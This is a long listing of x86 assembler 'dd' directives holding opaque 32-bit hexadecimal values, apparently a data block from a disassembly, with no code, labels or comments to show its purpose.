dd 4D60D5C7h, 51B53807h, 64265D26h, 0CC004B16h, 29C4C1D3h
dd 81F8607Fh, 2E49E2AFh, 9B9A6000h, 3B3F316Ch, 0EA5200D8h
dd 7826E705h, 0E509892Dh, 0C85C751Eh, 5DFF34Ch, 6C2BB4E0h
dd 3CD50706h, 0A42F31CAh, 33C0F85Bh, 23B890F3h, 0B6891188h
dd 9189270h, 90148496h, 0C940FB4Fh, 0ED9E0224h, 5FABB613h
dd 4F07ECD0h, 1B14E27Ch, 0A06A4956h, 0B5B66990h, 8C270B08h
dd 5A20B047h, 9E588E1Ah, 9F6A0010h, 6CAA326h, 47B053Bh
dd 0A474E3AEh, 0B30289A0h, 481A8C85h, 0D9CFE138h, 0F9128468h
dd 650CC8A6h, 6F68AF50h, 8A4EEF00h, 2C87EB30h, 62D300D8h
dd 9D664C70h, 9050294h, 8E27C496h, 0BA0088Ch, 3A507E6Fh
dd 0FD3D6498h, 0D42F7A00h, 698A8ECCh, 5FA01AB3h, 50DA2119h
dd 0A039509h, 9FC48074h, 9CA31781h, 0F66C4048h, 0B202A6A8h
dd 0B5EEC891h, 0FD9880DFh, 0B7F7764h, 6FF06D69h, 0AE1B1400h
dd 0E94A0A88h, 0DF8E0020h, 0CDBB2EC6h, 0CC96142Ch, 0EC10341Ch
dd 2C202F4Bh, 81CAEA13h, 0C4B35900h, 856797C2h, 40E09EF0h
dd 1FA7E58Fh, 2E0B93Bh, 53E20DDDh, 88D921h, 6D1BAA8Eh
dd 3728E5A4h, 10000C5Dh, 0A0C4A656h, 8CC8E3h, 25838D74h
dd 269CD90Bh, 9B462EFh, 0E85CA6B7h, 1A4EF4h, 5F301668h
dd 0E1B1A2C7h, 76A32502h, 414D26CBh, 18505004h, 1E37398h
dd 44D4F93Eh, 30D5E7F3h, 0DB018830h, 6D91DE49h, 0A8E055EBh
dd 13822428h, 0AC4200A8h, 58AE3144h, 0C77D5E17h, 0D85CC04Eh
dd 7BF43959h, 2C1FAECh, 0D16D54BEh, 0B1C04548h, 231888B1h
dd 0DB90243Fh, 3F0899E8h, 42F093A6h, 5921F77Fh, 4AC01780h
dd 1C7CC4h, 0DB5F6B60h, 0AFFD49A9h, 0F2D2B80Fh, 0DFA74289h
dd 88987987h, 0C3806074h, 7522DAB1h, 0B22304E6h, 0B4AAF8C6h
dd 880F06C8h, 7DEA321Eh, 66127BBDh, 58A0DC6Eh, 87A35057h
dd 0E74412FCh, 46AC839Ah, 270C97D8h, 8733626h, 0CB4F9541h
dd 8D75C4h, 0A05F8445h, 2FDC89EAh, 0B44842F2h, 4C912884h
dd 3E06F201h, 7A24657h, 0DC814CD9h, 1F494D7Bh, 0DF1082F6h
dd 590FB85Bh, 882CC0h, 0FC7148CAh, 97072D4Bh, 79732FD3h
dd 0C4025E00h, 45DE28BEh, 4A713C18h, 83893F81h, 0D5F143A5h
dd 809EFE7h, 451AEBFDh, 35AA8004h, 2A9E250Ah, 2B44FCB0h
dd 0C17016A7h, 0A08CC83Ch, 739D3Fh, 0BC114DDDh, 177D84C3h
dd 0C0EA649Ah, 5F14F528h, 156F9D04h, 4CC2606Ah, 0B5FCC06Ch
dd 734C00A7h, 0F565D19Bh, 9A2627C7h, 11446063h, 0C033D4E4h
dd 6A3003B0h, 5D7ED58Fh, 0B44F805Bh, 694A4078h, 2C14DF17h
dd 12AA7D9Ch, 8B6800C0h, 6B27D5C2h, 7B40C600h, 6A14EDB4h
dd 3C23009Ch, 3436C8Dh, 0C77508BBh, 0A671611Dh, 0F75FA581h
dd 55F06B44h, 892F6214h, 4C728F26h, 0B1F8CF12h, 8961DC20h
dd 645C040Bh, 0C8A4F963h, 0E6173EF4h, 4030D826h, 9CEF9F3h
dd 92F4D5EBh, 541B5980h, 48122C9Bh, 0C8D17A88h, 0E4EC5F8Fh
dd 0E09D0BE7h, 4A888994h, 0D1BF039Ch, 0D7D25668h, 977838E0h
dd 21340458h, 114112Ah, 0F411643Fh, 0E1EC3533h, 0FE92248Ch
dd 4C8E08DCh, 93CD206Eh, 64991Bh, 0F80C0896h, 0BC6531C8h
dd 0D514C17Ch, 0C0FC2695h, 0E77919CAh, 8A410EAEh, 0AFE05EF9h
dd 75935481h, 0C7F2D602h, 0C656C29Ch, 609E0F6Ch, 0DF84C464h
dd 0E454A474h, 790A7F01h, 1EF3E645h, 7D8B860h, 0D1B5C606h
dd 0F980C87Ah, 9BE1D48Dh, 0B8505A4Dh, 8117382Fh, 0D0772CE6h
dd 0C3DBBBh, 0C2A1AC78h, 145206FEh, 264410B0h, 458A00AFh
dd 537844FAh, 0E507E1AAh, 85A95E40h, 0C6A2F6A2h, 0C4762C74h
dd 0C07767D8h, 0A1D28791h, 2E630500h, 0AB5A14E8h, 7D4A0BF5h
dd 0F890805Ch, 0F0021C2Fh, 0D5ECDFB3h, 1F207904h, 32B64089h
dd 207CC57Eh, 27DFE603h, 0C8AF5EDAh, 4A1B2405h, 0BC2C30E2h
dd 0D301D494h, 0CA9C6591h, 682C0180h, 5E12CF9Ch, 1D9D7040h
dd 8800B5C8h, 0CEA1C0E6h, 1C204Ch, 0A4304D57h, 0E025EF5Fh
dd 0BA87952h, 0DD1A78h, 0C0D626C2h, 3D5B00EBh, 0F00BAF7Ah
dd 794E55ECh, 5E77CC4Fh, 0E666109h, 746C84E0h, 1AC5CA4h
dd 20E57E09h, 0FF972840h, 0BBB56102h, 0E65F2CD4h, 9600018h
dd 0D4EF687h, 25726856h, 5F8C5C13h, 716B5820h, 0AD0503CFh
dd 97CE9563h, 72463EC1h, 110C0080h, 0D06DCF39h, 0DC4A1205h
dd 0DD2C907Ch, 0A61E26F8h, 7B07BA64h, 2950C5E6h, 131053D3h
dd 0A4AFE45Ch, 0C704F114h, 0E5B1044Fh, 0E20FD0C0h, 26AB28F8h
dd 64DF0344h, 8B7FEAB0h, 0C2B16113h, 0D221ED00h, 1790967h
dd 7298E38Fh, 6C5A9C03h, 733D872Ch, 9684530h, 5671049Fh
dd 40F77F33h, 5A909391h, 0F92800A5h, 0AEED3AE5h, 6000F409h
dd 0D9EF19EEh, 1FBB7ECh, 0D685F3C4h, 222D17D3h, 0A33C040Ch
dd 4482EA53h, 59C8801Eh, 2576A96h, 0CEB4F16Bh, 34C4751Ch
dd 8AF45200h, 618BBA40h, 76F4B2F5h, 84B95C7Ah, 0EFCC6503h
dd 180797EBh, 0EC74026Ch, 0AC207F15h, 16B7779h, 0A623E270h
dd 0E05ACF7Ch, 25007266h, 0CD4BDC7Eh, 2E780668h, 14194Dh
dd 2FBD8357h, 0C7035CA4h, 89F3A250h, 729FC8BFh, 60A7059Bh
dd 0C16214D6h, 7C4FA04Ch, 2F4680F8h, 0FAB81ED0h, 43B8BBh
dd 0D9F39390h, 0FD5CA29Dh, 0B0ECA130h, 51043314h, 73C8547Eh
dd 0A13200A0h, 3ED8CA78h, 0E200FF09h, 596E0D4h, 0EDAD40h
dd 9DCE27E7h, 88733067h, 6C88CF4Bh, 0C95E0E85h, 406B9568h
dd 0B80A0009h, 50DC3C91h, 5F609482h, 83005C52h, 8CFCC4A8h
dd 0FB56AC0h, 0D8337053h, 0D205F800h, 88B4CF94h, 0BB9FC540h
dd 3B21B87Bh, 1F801B88h, 0E8554F54h, 99E228A9h, 3650F4BCh
dd 0A416018Ah, 0BEF8E918h, 13CCE09Fh, 2400A17Eh, 43195F95h
dd 9EC79EEEh, 142811F8h, 2E5C8D26h, 0E1190E8h, 0E7078C01h
dd 0BEE018C4h, 0D19F0021h, 0DB0ACE6Ah, 297B2D96h, 43C86098h
dd 1A22C405h, 20B44632h, 23BC00F4h, 0C7672BE6h, 903B91FAh
dd 55C20566h, 808064E3h, 0C0134625h, 0E79CAB31h, 7B146752h
dd 9C8990Ch, 0E48D2826h, 114234h, 6C1F6AC4h, 0EC7341Dh
dd 8CB991BBh, 3E38C8F7h, 0AF01ACECh, 17F0D0E2h, 9EE82145h
dd 9FCB16D7h, 6770009h, 28ADC772h, 0D61A4D12h, 0C25AE820h
dd 203BFB18h, 5B557664h, 3837612Eh, 0F27A1D3Fh, 4A4F31Eh
dd 0E0B29513h, 0B08BFF00h, 0CB5411EEh, 8DE1EFF1h, 0C844E435h
dd 533082F5h, 0C6D2A326h, 7A9B000h, 0D66C88DBh, 96F80A4h
dd 0D23EA0CCh, 0D9170B63h, 0F2009079h, 0D853001Eh, 16F44080h
dd 0A5008DDAh, 63154D2Ah, 0CB89E21Ah, 18630B9h, 854EC01Dh
dd 9A80C8h, 0BB8A9A1h, 67FCE028h, 0C8A5B307h, 8EA7944Ah
dd 0FAF754A0h, 189B1D5Bh
dd 53A2C386h, 0CCDD46C8h, 0B1EF558h, 6A80F1EAh, 14C261CCh
dd 9A730228h, 5F75B731h, 0B90D5A20h, 8ABE007Dh, 9B4EE94h
dd 9B2CB2E5h, 5B110C3Eh, 24A07F2Dh, 0ECABDCEDh, 1341DD1Eh
dd 0EB93E7DDh, 0ED0CC8h, 6A09F462h, 0A951231Bh, 73055898h
dd 0E708C03Bh, 0E20364F2h, 0B9B2F224h, 743077C8h, 0F92F4CEEh
dd 642829A6h, 4883BDCh, 0D1DA2B80h, 0C63235E2h, 78BDA600h
dd 0B40B6B15h, 47731313h, 0C0880FA8h, 0D0C485A7h, 771D80Fh
dd 0E0B45575h, 44817580h, 997AB7B0h, 0EAAB0060h, 625DE9BBh
dd 0B3EF921Dh, 8E1B2683h, 0C48CA29Dh, 40804F9Ch, 26257D0h
dd 9D3AC298h, 0E0C98096h, 908CD00Ah, 9A8D0038h, 0F63204A0h
dd 0C08A26AEh, 29BDA874h, 0F87DA6h, 7096901Fh, 4D01DD7Ch
dd 21AE02Fh, 0F87C155Ah, 9EDA7982h, 52400C56h, 91C48A3h
dd 4DFD061Bh, 0E45C78A4h, 525E1BCh, 36050093h, 7073BA7Dh
dd 299409A9h, 0B879AAF9h, 6AC7B580h, 29C6A696h, 0E47F3Eh
dd 530D7E02h, 6504791Eh, 29C4AAE9h, 66706482h, 3D60FBFCh
dd 2D40010Ah, 541063DFh, 0DBD82033h, 7C632441h, 0E7F01602h
dd 73C0E23Ch, 0C000B5A1h, 0A31F219Fh, 140F8EF9h, 18ADE3C4h
dd 0D2C70300h, 784244E7h, 5426CB00h, 9D08FEBh, 9BFB1C70h
dd 0ED3D8B7Dh, 80444804h, 11E41E34h, 487E3F27h, 70DD94h
dd 446E0B13h, 6AF9C864h, 80A8745Ch, 47B418E1h, 24E30017h
dd 6A60D9C5h, 3805C89h, 610500FCh, 7014EFA6h, 437FF58Ch
dd 0F408012Eh, 0C8C17B01h, 4B2A9427h, 50488004h, 8A00AB9Ch
dd 730A9671h, 58411793h, 322EC288h, 0B2460264h, 548080B6h
dd 97E6A81Eh, 0FD6B8900h, 0F21D9D7Dh, 0C1D12C8Eh, 0F61198h
dd 0EF8772DDh, 13DCC5Eh, 0E8B7C60h, 0DA681502h, 0AC601456h
dd 0E8FF9078h, 3DE42DD4h, 0D9E01490h, 16EC1E01h, 73C9F7B2h
dd 2C29D3DCh, 1C46A4DEh, 7CEC6Ah, 6D06E647h, 3331AD3Bh
dd 0C00C1C2Ah, 27D4BC64h, 3048C817h, 920CCF29h, 0E060B466h
dd 6A0713BBh, 393CF295h, 91DD003Fh, 63275BD3h, 351D0102h
dd 0EAA1F1F4h, 2402C2Ah, 8086D497h, 9DCB20FAh, 7F1F682Eh
dd 0FF80116Eh, 0F44372E0h, 26650063h, 8FB53B39h, 0AB0C5305h
dd 71320C5Bh, 0F63F2A4h, 8D06878Bh, 550B4FC1h, 48B82D78h
dd 0F96D09F4h, 1BAC10A9h, 0BA68A3E4h, 9D04E0C5h, 0E7760CC4h
dd 0BC3922ADh, 55778C03h, 0A04163ACh, 7A1F9B9h, 7A453F06h
dd 0B20555C1h, 0A60B00E4h, 354B3B0Dh, 0A54F0069h, 14F53E7Bh
dd 9C1DCCD4h, 0F18028B1h, 0AB6BCF26h, 51A70E77h, 0BF9DA1C5h
dd 17D74085h, 637898DEh, 598034B9h, 9FE07B2h, 0A9D60017h
dd 2AA0999Bh, 328EF4Ah, 2C03147Fh, 0C83494D7h, 0E692D8BCh
dd 0EACB0596h, 808E93E2h, 0CA16EA0h, 0A43027h, 973C5EF8h
dd 99550006h, 52A5F09h, 7E16F8E5h, 9C88CB25h, 0DCB50012h
dd 27078594h, 0B0049FBCh, 145CFA2Ah, 0C8F2CF40h, 4F0124E6h
dd 0D90BDC4Dh, 10DCA7BCh, 946C7D06h, 0CE28405Ch, 4C00C166h
dd 881CDCEBh, 4128D8Eh, 345C1BB9h, 9B04B0A2h, 165E413Ah
dd 0FC064C45h, 2F184672h, 5B0557B6h, 55208CC5h, 3600C6F4h
dd 7731FB12h, 168F8CE6h, 20AF4DA1h, 32789AF4h, 79106700h
dd 19B0ED2Fh, 2C57007Ch, 3B0B051Eh, 5602E60Ah, 2AF6550h
dd 23C7E2D7h, 1676BADCh, 0C8B7D988h, 990F81FCh, 0C0D5C8FEh
dd 0E5D73F64h, 134F7C06h, 1159D20h, 94D196C0h, 0FBB42023h
dd 1BEC700h, 0A517E334h, 5AEA04C3h, 40AD7595h, 5CECF173h
dd 336C009Dh, 6206CA0Ah, 82005718h, 4BD9F3C3h, 26E74572h
dd 60D4EAA4h, 0A7312EF1h, 97E26E3Fh, 62039B6Bh, 0D972838Dh
dd 0A86C6462h, 7E14ED83h, 6D8DC690h, 44EC942Dh, 0AF1B07A0h
dd 0E1641577h, 0F99B5859h, 6B39C05Ch, 23980800h, 88F1550Dh
dd 0F3C10B83h, 400BA7C7h, 0A535E800h, 57030760h, 319CE180h
dd 9805B867h, 79552808h, 85720140h, 1B216892h, 4862DAh
dd 3256007h, 48970D3Fh, 0AA041C70h, 806F05E8h, 0EC6749ECh
dd 5B5DA0A0h, 8CEA8907h, 0C67268C8h, 0FA608775h, 50B99870h
dd 78150062h, 5D357680h, 5105CB3Eh, 0D39681B1h, 0C2FBD490h
dd 0A3F825E6h, 0C51B7C68h, 0AF9197F7h, 3451A0D0h, 156307D6h
dd 20A61326h, 74A15B2Bh, 0A585C0C8h, 0B9633490h, 0C9D63700h
dd 0C1B22DA2h, 4FC605DAh, 0FED0948h, 0A6A3E9E8h, 4CE007B3h
dd 8028D19h, 0E83094AFh, 754464AEh, 0B4C71FE0h, 399D0F64h
dd 0AC353762h, 0FF3F6844h, 69998007h, 0A21B6D02h, 4B2A3DBBh
dd 0CD06D984h, 8F224h, 9455A32Dh, 42267D8Dh, 9E4D2E8Eh
dd 28115D02h, 0A7A780C5h, 0F84CF1B0h, 98910B3Fh, 3C904626h
dd 2B00CD94h, 6D6C32F4h, 9E3521Ah, 5853D409h, 0C80E1458h
dd 4BADF34Ch, 0D458998Ah, 3F6F96C8h, 0EA9CB272h, 0B191425Dh
dd 0B4C367A4h, 0A260E8E0h, 0FF00F494h, 0CCB8838Bh, 314CCCB9h
dd 405AAF1h, 0E89A7D0h, 435654C0h, 0A2A002C7h, 0CF2F4B36h
dd 9163E860h, 323CB50Ch, 95856428h, 105450B0h, 64F28B00h
dd 4F41212Eh, 61CF00D5h, 0EB0E2B26h, 0BF00762Fh, 934605EAh
dd 0A253DAh, 0FE96C887h, 35D38073h, 0C4C71A27h, 94262584h
dd 38E410A9h, 1CE7173Dh, 0D74042DBh, 358D2FB8h, 133B74B5h
dd 22C2E79h, 39615516h, 8F1F58F1h, 82CE6900h, 3CF24CA0h
dd 0FA874ADBh, 0F92835C5h, 0C4EF1CC8h, 0F500A3E8h, 1C73782Fh
dd 0A8175CA2h, 0DADFB8h, 0D8E70EFFh, 0DCE8022Fh, 409E1EEAh
dd 0F3F9AA40h, 59F73C32h, 43CA200h, 6F193565h, 9029D800h
dd 0AAF5DF38h, 0B65F5005h, 95340161h, 9F78307Fh, 9A26C819h
dd 48F490B5h, 4C04C6Bh, 31AC5E00h, 0B4F3BB57h, 0F1472102h
dd 7EF69885h, 396A40CCh, 0BF006C46h, 0F05FF703h, 0DA0795h
dd 5B0A7DF2h, 0FA5CBB6Bh, 4306CE00h, 0CCB55242h, 8078B1EDh
dd 317E46FDh, 6400C5D2h, 0DC296371h, 0B17F82Bh, 30135532h
dd 177EBC69h, 342C1040h, 16BF07A8h, 7711B2Fh, 0D49E8024h
dd 9A134219h, 6C00C4F0h, 91DBC64Ch, 978F0081h, 69EA0C7Dh
dd 43040440h, 0F163E641h, 26827EC1h, 9850223Ah, 0D44070C2h
dd 24004F96h, 0A5D1654Dh, 48A347FEh, 7102704Eh, 0ADF92195h
dd 0F20064DAh, 0F3B7D38Fh, 0CCC28Eh, 7EA1E09Fh, 0B5484CE5h
dd 43C5B600h, 8C781C83h, 679200D1h, 17AB5FA7h, 8406A476h
dd 0CF618564h, 262B44F8h, 15166B00h, 0DE8EF158h, 20EB4AE8h
dd 1A324A34h, 13EC7800h, 2F8B4CADh, 378C4h, 36AADC6Dh
dd 0D550AD8h, 0C7803894h, 0C525E7F2h, 3EB8997Ah, 0AD30D180h
dd 0C31955A0h, 0AA001B76h, 2AD6424Eh, 7BBC893h, 1C756574h
dd 0F8E8F1B1h, 80982DA9h, 14E594BCh, 8058996Fh, 4812D20Ah
dd 90BD37CFh, 1E7B7C2Ch, 0E03A69h, 0CACC0F67h, 104C7005h
dd 23451D64h, 7E4E4A5h, 0EDFD5220h, 76DCC0DDh, 98008A88h
dd 0C8562455h, 0C6AFAB3h, 0AA055332h, 16453F98h, 4E02C833h
dd 9E3BC809h, 388FE1E1h, 0EC8BA014h, 91E50092h, 0C75904F4h
dd 0FE72BC78h, 0B5D4400h, 81E709ABh, 76A51327h, 403CC8CCh
dd 0DBAD9C00h, 0A4F79066h, 2F1E1DA3h, 8E02403Dh, 1892C322h
dd 0E6EC0803h, 0F02B5A9Fh, 3B4EC7h, 0D7D8041Dh, 4477D267h
dd 0B55470Dh, 4235915h, 0C2B97907h, 4EACF06Ch, 89173ABAh
dd 4C001B7Ah, 0D25AA450h, 0A8402464h, 0E26500DCh, 3BDE25F4h
dd 283EEE0Bh, 6B143195h
dd 8870ABFDh, 0F91B0094h, 0A8C8847Eh, 0B5757B45h, 1095787Eh
dd 3A026500h, 0B30058D3h, 0D49FFCF0h, 10FAE83Fh, 0C4FF9C1Ch
dd 0F7944Fh, 15951A7Eh, 9CCAF0CEh, 1B4A4010h, 3E000F04h
dd 5951D47Fh, 0D3DC7ABh, 0E82BB1DEh, 90688Ch, 0ECAD7854h
dd 888CC51Ah, 0E6E63806h, 0C8A42F28h, 0B17E56F0h, 3C90DCFEh
dd 0E5D1BF09h, 60C494h, 32CBF4A5h, 5C51B6B0h, 0DAA96700h
dd 0B3D9574h, 0C66D00CFh, 0EA540735h, 10B77F93h, 115960h
dd 0AC3071B7h, 0E30ACC24h, 0B31F8907h, 19912AAAh, 203E43DAh
dd 0C2179A4h, 0FD00C679h, 40D510D3h, 9B413Ah, 710E5663h
dd 1AFB943Eh, 0CC56D64Fh, 83C4B0h, 4264FD85h, 0E7387D0Ah
dd 794A0513h, 0F135D000h, 16C79DD9h, 0AE5AD292h, 0FC31C716h
dd 856EF71Dh, 4F0009B4h, 1A00D879h, 0F3C977D4h, 55CD1ED7h
dd 0ECC44F89h, 0A8328F21h, 6714D8F8h, 25D29609h, 9040D928h
dd 8DC48006h, 3FC5161Ah, 2CFC11A0h, 372186Bh, 36495BB9h
dd 0F4D2E3FAh, 90B55790h, 0F2B2AAA0h, 5B1801EEh, 37664AF5h
dd 9A32016h, 0DA852A02h, 0D275D2BDh, 0C1E83758h, 8F0BD01Eh
dd 0B71CFF81h, 0BBC0726Ah, 27CA3ED5h, 385560A4h, 0AED024A2h
dd 62382095h, 0B5B1A1h, 20A5C654h, 4541E7D8h, 2D1FF60Fh
dd 15C050F9h, 616B7330h, 0C22476F8h, 404EFC7Dh, 0DB35EDD9h
dd 8A70002Fh, 0D5A1364Fh, 0A50554DDh, 37850B87h, 0C005F4B8h
dd 0B326ED0Ah, 0F93389A8h, 23F800F8h, 4148C4C3h, 0ADB2AC00h
dd 0F965D18Bh, 94C7176Dh, 0FF8C8822h, 4D027F7Eh, 0BBCA437Ah
dd 2024AE38h, 8582D8D2h, 22A20E5Bh, 0F140D9D5h, 32072388h
dd 0D0A037F6h, 81B53F1Eh, 0EDC6B2C8h, 6B83A039h, 2007276Dh
dd 188A3472h, 77A4B8B0h, 815F1EE0h, 2DF1E0Dh, 0F65BA26Dh
dd 9540BC7Ch, 0BC51A5h, 0BAAF7415h, 3D418F77h, 0C9BF39h
dd 3BBDB664h, 44AEE61Ch, 0D5001E1Ah, 11F935E9h, 0FD9233h
dd 274E1083h, 1E3957A6h, 88BD151h, 72072480h, 1D86867h
dd 949E2830h, 4C3675D0h, 0B293D497h, 0DDC70088h, 0A7D7B594h
dd 9FD33EC4h, 73820401h, 0DB262970h, 17EA1E3Fh, 542079D4h
dd 0B7A58Fh, 0B822F408h, 0FC21C9FFh, 0B14DFD00h, 0E3BE8894h
dd 0EFC124C5h, 4592088Ch, 0A526D480h, 0BE9DB46Dh, 0CEAD414Ch
dd 0CAA8D063h, 130426B0h, 79DA7AE9h, 3E654A4h, 271C6AAh
dd 0CC906136h, 3077DFA3h, 86E44F1Dh, 78ECB149h, 462E0B4Ch
dd 0FD8253D9h, 0D0FC0F56h, 4FDA414Fh, 0D0739626h, 0F20D4904h
dd 3C78A97Eh, 0FA1C80FBh, 7D01E99Bh, 1A8400C9h, 4095D534h
dd 272E05F0h, 0C3616C91h, 284073ECh, 27E92DA9h, 34C4E00Fh
dd 3F841203h, 88091690h, 487630Eh, 719C691h, 5D20217Fh
dd 0EB272F8h, 16184017h, 1E0DEF20h, 9276744Eh, 7BB08873h
dd 0CC0B532Ch, 463EA604h, 0E9D91B05h, 1DAF1190h, 0A7E70h
dd 243A0958h, 9F4DA843h, 5042D038h, 0B10438DAh, 733514FEh
dd 1F480A4h, 0AC4D8E8h, 0C8B85B2Ah, 0B3A4D26h, 3DD307E7h
dd 981154Ch, 202BBDD9h, 4348CE84h, 7929CC2Ch, 28EBF00Ch
dd 0E8EC2C6Eh, 90E267ECh, 27CEE626h, 48C3C607h, 0E13EC0B7h
dd 20B3FB97h, 0AD80E478h, 49DEB56Bh, 90D5D61Eh, 7A5842C0h
dd 4B6F6D24h, 5F3C881Ah, 0DC77A81Fh, 4CECD640h, 11046A65h
dd 21BAEE7h, 41A779EDh, 81F260B4h, 0D49900CBh, 0C9F4BFB9h
dd 0B0091249h, 685D0354h, 31BCCCh, 0E162A042h, 0DFF4AF20h
dd 320DCD00h, 0E6783019h, 16F4B05Ah, 0B346DA87h, 0E7B38BCh
dd 0C49BEA79h, 0F0C0C3A1h, 8FF13Eh, 4D610663h, 7D8C5C64h
dd 31808896h, 0F1BA9E10h, 89A2144Eh, 5E80E0ADh, 6B9C6FEFh
dd 0CF11FB07h, 1CC0FD87h, 0BDBD3DFh, 56784BA6h, 803E285Bh
dd 0C60A9F2Fh, 9C18CAB8h, 0B80349C4h, 0A3D1E05Fh, 0CC7C74h
dd 90F54669h, 5CBFD9FAh, 0BE0000D4h, 36EBBCBBh, 0CC9979D7h
dd 41BA170Fh, 0EC4CBF1Bh, 78C0402Bh, 0EDD2D8FDh, 0F67E22h
dd 98A5763Eh, 59B19D8Bh, 4DA42D00h, 0CE033655h, 88284FE9h
dd 83014320h, 9A78D3C0h, 0E7C4ECDCh, 82AD34F8h, 6C6CCC21h
dd 0DD53CA00h, 4F8D0A3Ah, 9FF4096Eh, 64908078h, 0D85C5ACAh
dd 0DA030178h, 0C3F1957Eh, 7D9674C8h, 0BA7C0165h, 0D478804h
dd 7005F406h, 48FAEEE1h, 795ED80Fh, 0E78627FBh, 0B8DB5CA0h
dd 74BC3EC5h, 45E29E0Ah, 236943F4h, 0CE371600h, 55CF6B30h
dd 0AB620A61h, 4C45E67h, 0CC34521Fh, 0D998E30Ch, 0F906830Fh
dd 8C4918A3h, 0BC30541Ah, 93B91354h, 0FB08207Dh, 230134F8h
dd 1215C0E3h, 0B8FF20C7h, 0C05DFh, 1A41DA74h, 1F8F4D86h
dd 0FA6D8E1Eh, 0C089D913h, 3D017872h, 704FE3Ch, 0B120F81Eh
dd 6F504A01h, 3B91F266h, 69C00BE7h, 0AC908063h, 8B00B972h
dd 0F77B17E1h, 264ED08Eh, 0E0453Ch, 5206894Dh, 0DAF0B51Ch
dd 0B55F113h, 4D12BCB2h, 76C030F7h, 800F43Dh, 6C077145h
dd 140FE8Bh, 613B1C66h, 0E864C3CEh, 0C002A3E2h, 94D143DFh
dd 0E0ECE36Bh, 28C76031h, 116C2D18h, 42B3CF9h, 5FA1E7EDh
dd 4F0014FDh, 889348F4h, 0E00172EFh, 0A42FAB73h, 76D0E924h
dd 5FDD03FDh, 8DC717DCh, 0AE405107h, 18B03E5Bh, 17F8943Dh
dd 20808B76h, 0D6032EC8h, 81FA8E05h, 1CECD154h, 431D6F00h
dd 5D3C599Dh, 510E1044h, 5CF6CAB1h, 5EF626Ch, 33407456h
dd 16BD2BBh, 9491D7F8h, 3C721675h, 99B38190h, 0ECE45945h
dd 0CCA35E5Dh, 0C8521BC8h, 0A8F917D0h, 84E2E088h, 968D3002h
dd 46A2F8FCh, 68190B34h, 0F8B0A326h, 0F7178BFCh, 7C003CE0h
dd 34481E3Ah, 6B7917C1h, 7440309Eh, 0B700FD50h, 0A3E7177Dh
dd 0E9030Dh, 8E0B9E11h, 0D559BECEh, 0B8732F01h, 15A4F8ECh
dd 2F8B5852h, 0C60B5840h, 88986F44h, 0F28E8100h, 0AA053188h
dd 7EF807A9h, 20615684h, 779E7096h, 754134Ch, 1A85F166h
dd 0C4587592h, 0DB823EBCh, 2FC90100h, 997C1C95h, 0DA9BC000h
dd 443F853h, 4AE40157h, 4C05ED2Eh, 9DBAC007h, 18B45A05h
dd 983389E0h, 3A15D86Dh, 10209773h, 253EB8BAh, 2B67605h
dd 10C87DA6h, 0F6030089h, 0E31E0A4Bh, 6C1EF32Dh, 35C023D4h
dd 0D694FD1Dh, 0E91C008Ch, 5F162A2h, 0EA5B885Ch, 0B7AB6023h
dd 983A81B0h, 0CAA20ACDh, 11E876A4h, 81643F26h, 0CECC897Ch
dd 82CB859h, 2B20B80h, 0A6008ED2h, 42ED479Ch, 9A9187Bh
dd 0D02A2DC1h, 4016B084h, 0A46DEBDFh, 0F6C70F89h, 0F36B1F97h
dd 841CC871h, 2F20409h, 0FED7186Ch, 0FE2D419Ch, 0F4A131CAh
dd 0EA146050h, 281CA8F8h, 7248CC25h, 0A49D1D76h, 0FA65F240h
dd 0EA495536h, 988D0066h, 0ACC818FFh, 7F0F684Fh, 7BA2CEh
dd 0FA55C34Eh, 157437D5h, 1D692048h, 0E0025EDEh, 1A6614FDh
dd 5871C8h, 0D992FF6Eh, 3CB8F2DDh, 18A2EF4Bh, 0DF3E810Eh
dd 0FDA82560h, 0BF00CF58h, 6692A034h, 1F7252A4h, 1715CECDh
dd 78F0C12Fh, 5FC45208h, 1600F45Ah, 3FF4C62Dh, 2AD87B8h
dd 88974CDBh, 38D47DAAh, 0D71AA080h, 113B9BEh, 0EFA4EAFFh
dd 0D3AFAA04h, 0BC85E0E9h, 38404A29h, 0CA7B10C3h, 0CD15003Ch
dd 7050AE25h, 23483943h, 35380148h, 992826A3h, 0E705CC29h
dd 0B8156805h, 32F680F8h, 3F02C556h, 1D873A59h, 60360DF0h
dd 2FE70964h, 8498747Dh, 5D982612h, 0D107A4D2h, 0E2A778h
dd 580C115Dh, 7E0D298Fh, 591BE9A3h, 35A07C93h, 6207ED28h
dd 3ECBE73Ah, 0E609D710h
dd 0EC560A14h, 242C0F55h, 7D012D4h, 40158C06h, 24379D3Ah
dd 826BCF0Bh, 50443Eh, 0ED3154CCh, 4A1F8E30h, 6A80CE50h
dd 0ADDDF917h, 0E8626023h, 0EEF5C999h, 0C104026Ch, 298A513Bh
dd 58C1E042h, 67388209h, 60305F01h, 35A238h, 0AB71BFAEh
dd 3BF01EE3h, 6C405D5Bh, 0D7EC9A28h, 8DD0018h, 72BA459Dh
dd 0B7F0884Ch, 8FA42400h, 0E80AD793h, 0C17DFEC4h, 1758339h
dd 1BF0D0CDh, 1566A212h, 0E249820Fh, 0C8EC093Dh, 0F54D872Ch
dd 0B57F2670h, 9BFE1C20h, 0F7011856h, 737966E7h, 0C081F5A9h
dd 548E1A57h, 903D5Fh, 0FE088CE2h, 1C2439AFh, 57B13D73h
dd 0C2831CD7h, 115B9E3Ah, 5F946C7Eh, 0E2C1076Ch, 8CE08D1Ch
dd 53DFF0h, 0D3354FCCh, 0BC7783CEh, 0D9BB4200h, 0F65EFC07h
dd 0E1B92EF3h, 35811E8h, 6041D8FAh, 5BEBA822h, 0C37A84h
dd 0AAE77ADCh, 0A4302894h, 9AD05C0Bh, 3C24905Fh, 0F6190E76h
dd 0AB20F070h, 714BA029h, 0AE40D4BCh, 7EDDA5CCh, 68CF0384h
dd 8CF5F946h, 0B96607A0h, 81EA5F3Ah, 0DE9DEF05h, 1C3D7EECh
dd 9FB61C77h, 0C64EC26Fh, 0F740F57Bh, 791CB10Bh, 0EB805A0Ah
dd 0E03F3B2Fh, 2D1B807h, 0C01E6FAEh, 24608272h, 8E02F157h
dd 0DE1B7BA0h, 385DFEh, 0E0131B7h, 9C8E5933h, 4A801CEBh
dd 0FDA339E6h, 4003C63h, 0F3C74611h, 983D9F89h, 0C4A00970h
dd 4898DE18h, 0C61C4A39h, 6785B69Ch, 0ACACA0F9h, 46601493h
dd 26428305h, 8934FC92h, 0C4980ABDh, 0C890D83Fh, 3F1440C5h
dd 313B466h, 48A2ED17h, 0EC578B00h, 3229DEDDh, 0A79E3502h
